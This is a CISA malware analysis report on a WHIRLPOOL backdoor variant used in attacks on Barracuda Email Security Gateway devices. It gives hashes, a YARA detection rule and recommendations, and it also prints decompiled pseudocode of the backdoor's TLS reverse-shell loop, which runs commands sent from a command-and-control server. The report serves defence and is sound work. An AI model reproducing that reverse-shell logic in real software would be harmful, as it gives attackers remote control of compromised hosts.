ANALYSIS REPORT

10459736.r1.v1 NUMBER

Malware Analysis Report

2023-08-17 DATE

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:CLEAR--Recipients may share this information without restriction. Sources may use TLP:CLEAR when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:CLEAR information may be shared without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Summary

Description

CISA obtained a variant of the WHIRLPOOL backdoor. The malware was used by threat actors exploiting CVE-2023-2868, a former zero-day vulnerability affecting versions 5.1.3.001-9.2.0.006 of Barracuda Email Security Gateway (ESG).

WHIRLPOOL is a backdoor that establishes a Transport Layer Security (TLS) reverse shell to the Command-and-Control (C2) server.

For information about related malware, specifically information on the initial exploit payload and other backdoors, see CISA Alert: CISA Releases Malware Analysis Reports on Barracuda Backdoors.

Submitted Files (1)

0af253e60456b03af49cc675f71d47b2dd9a48f50a927e43b9d8116985c06459 (ssld)

Findings

0af253e60456b03af49cc675f71d47b2dd9a48f50a927e43b9d8116985c06459

Tags

trojan

Details

Name	ssld
Size	5034648 bytes
Type	ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=9d3200c170c74a79f66e2c885e51519866e636eb, for GNU/Linux 3.2.0, stripped
MD5	77e1e9bf69b09ed0840534adb8258540
SHA1	deadca9bd85ee5c4e086fd81eee09407b769e9b6
SHA256	0af253e60456b03af49cc675f71d47b2dd9a48f50a927e43b9d8116985c06459
SHA512	3ad6bd00c4195c9b1757a9d697196e8beffb343c331509c2eda24bbbd009cc1af552a1900ab04d169a22d273e6359cb2ff149050a7f792b9630108a4af226e2d
ssdeep	98304:1z2EGoxipg0NPbuqbVxbNgqE+Q+F4YGZLx4BAFm/CyU:LLXYGNFLj
Entropy	6.385269

Antivirus

ESET	a variant of Linux/WhirlPool.A trojan

YARA Rules

```
rule CISA_10452108_02 : WHIRLPOOL backdoor communicates_with_c2 installs_other_components
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10452108"
    Date = "2023-06-20"
    Last_Modified = "20230804_1730"
    Actor = "n/a"
    Family = "WHIRLPOOL"
    Capabilities = "communicates-with-c2 installs-other-components"
    Malware_Type = "backdoor"
    Tool_Type = "unknown"
    Description = "Detects malicious Linux WHIRLPOOL samples"
    SHA256_1 = "83ca636253fd1eb898b244855838e2281f257bbe8ead428b69528fc50b60ae9c"
    SHA256_2 = "8849a3273e0362c45b4928375d196714224ec22cb1d2df5d029bf57349860347"
  strings:
    $s0 = { 65 72 72 6f 72 20 2d 31 20 65 78 69 74 }
    $s1 = { 63 72 65 61 74 65 20 73 6f 63 6b 65 74 20 65 72 72 6f 72 3a 20 25 73 28 65 72 72 6f 72 3a 20 25 64 29 }
    $s2 = { c7 00 20 32 3e 26 66 c7 40 04 31 00 }
    $a3 = { 70 6c 61 69 6e 5f 63 6f 6e 6e 65 63 74 }
    $a4 = { 63 6f 6e 6e 65 63 74 20 65 72 72 6f 72 3a 20 25 73 28 65 72 72 6f 72 3a 20 25 64 29 }
    $a5 = { 73 73 6c 5f 63 6f 6e 6e 65 63 74 }
  condition:
    uint32(0) == 0x464c457f and 4 of them
}
```

ssdeep Matches

No matches found.

Description

The file 'ssld' is a Linux ELF reverse shell and is a variant of WHIRLPOOL malware used on the Barracuda Email Security Gateway (ESG) device (Figure 1). The file looks for an encoded string with a '.io' extension (Figure 2). The string will be decoded and the data will be passed as the C2 which will include the Internet Protocol (IP) address and port number used to establish a reverse shell.

Screenshots

```
ssl_write(*(_QWORD *)(v26 + 8), ">>", 2LL);
v12 = sub_40F250(*(_QWORD *)(v26 + 8), v32, 1018LL);
while ( v12 > 0 )
{
  v32[v12 - 1] = 0;
  if ( !(unsigned int)sub_4011F0(v32, "exit") )
  {
    sub_402C8E(v26);
    sub_687560(0LL);
  }
  strcpy(&v32[sub_4011E0(v32)], " 2>&1");
  v27 = sub_698AA0(v32, "r");
  for ( m = sub_69C560(v27); ; m = sub_69C560(v27) )
  {
    v22 = sub_6EDC80(m, v33, 1023LL);
    if ( v22 <= 0 )
      break;
    v33[v22] = 0;
    ssl_write(*(_QWORD *)(v26 + 8), v33, (unsigned int)v22);
  }
  ssl_write(*(_QWORD *)(v26 + 8), ">>", 2LL);
  v12 = sub_40F250(*(_QWORD *)(v26 + 8), v32, 1024LL);
  v32[v12] = 0;
  sub_4010E0(v33, 0LL, 1024LL);
  sub_697340(v27);
}
```

Figure 1. - The reverse shell component of 'ssld'.

```
mov     rax, qword ptr [rbp+var_C80]
mov     rax, [rax+8]
mov     [rbp+var_C40], rax
mov     rax, [rbp+var_C40]
lea     rdx, aIo        ; ".io"
mov     rsi, rdx
mov     rdi, rax
call    sub_401050
mov     [rbp+var_C38], rax
cmp     [rbp+var_C38], 0
jz      loc_403C2C
```

Figure 2. - The file 'ssld' looking for a string with a '.io' extension.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.

- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, **"Guide to Malware Incident Prevention & Handling for Desktops and Laptops".**

Contact Information

- 1-888-282-0870
- CISA Service Desk (UNCLASS)
- CISA SIPR (SIPRNET)
- CISA IC (JWICS)

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

- Web: https://malware.us-cert.gov
- E-Mail: submit@malware.us-cert.gov
- FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.